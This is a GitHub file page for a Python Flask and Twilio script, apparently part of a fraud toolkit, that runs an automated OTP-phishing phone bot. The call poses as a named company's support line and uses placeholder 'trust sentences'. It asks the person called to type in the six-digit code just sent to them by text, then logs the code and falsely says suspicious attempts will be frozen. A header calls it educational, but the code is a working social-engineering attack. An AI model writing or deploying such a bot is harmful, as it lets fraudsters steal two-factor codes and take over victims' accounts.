-
Notifications
You must be signed in to change notification settings - Fork 25
Expand file tree
/
Copy pathcall_method.py
More file actions
55 lines (43 loc) · 1.67 KB
/
call_method.py
File metadata and controls
55 lines (43 loc) · 1.67 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# ONLY EXAMPLE CODES ABOUT CALL METHOD FOR EDUCATIONAL PURPOSES.
from flask import Flask, request, Response
from twilio.rest import Client
from twilio.twiml.voice_response import VoiceResponse, Gather
app = Flask(__name__)
account_sid = 'your_account_sid'
auth_token = 'your_auth_token'
twilio_number = '+1234567890'
client = Client(account_sid, auth_token)
@app.route("/start-call", methods=["POST"])
def start_call():
to_number = request.form.get("to")
if not to_number:
return "Missing 'to' number", 400
call = client.calls.create(
to=to_number,
from_=twilio_number,
url="https://your-server.com/voice"
)
return {"status": "call started", "sid": call.sid}
@app.route("/voice", methods=["POST"])
def voice():
response = VoiceResponse()
gather = Gather(
input="dtmf",
num_digits=6,
timeout=10,
action="/gather",
method="POST"
)
gather.say("Hello. This is <scriptname> support line. <trustsentences>. <trustsentences1>. Please enter the <digitnumber> digit code you just received via text message.")
response.append(gather)
response.say("We didn't receive any input. Goodbye.")
return Response(str(response), mimetype="text/xml")
@app.route("/gather", methods=["POST"])
def gather():
digits = request.form.get("Digits")
print(f"[INFO] User entered OTP: {digits}") # Log for educational purposes
response = VoiceResponse()
response.say("Thank you. We have received your code securely. We'll freeze all suspicious attempts just now, Goodbye.")
return Response(str(response), mimetype="text/xml")
if __name__ == "__main__":
app.run(port=5000)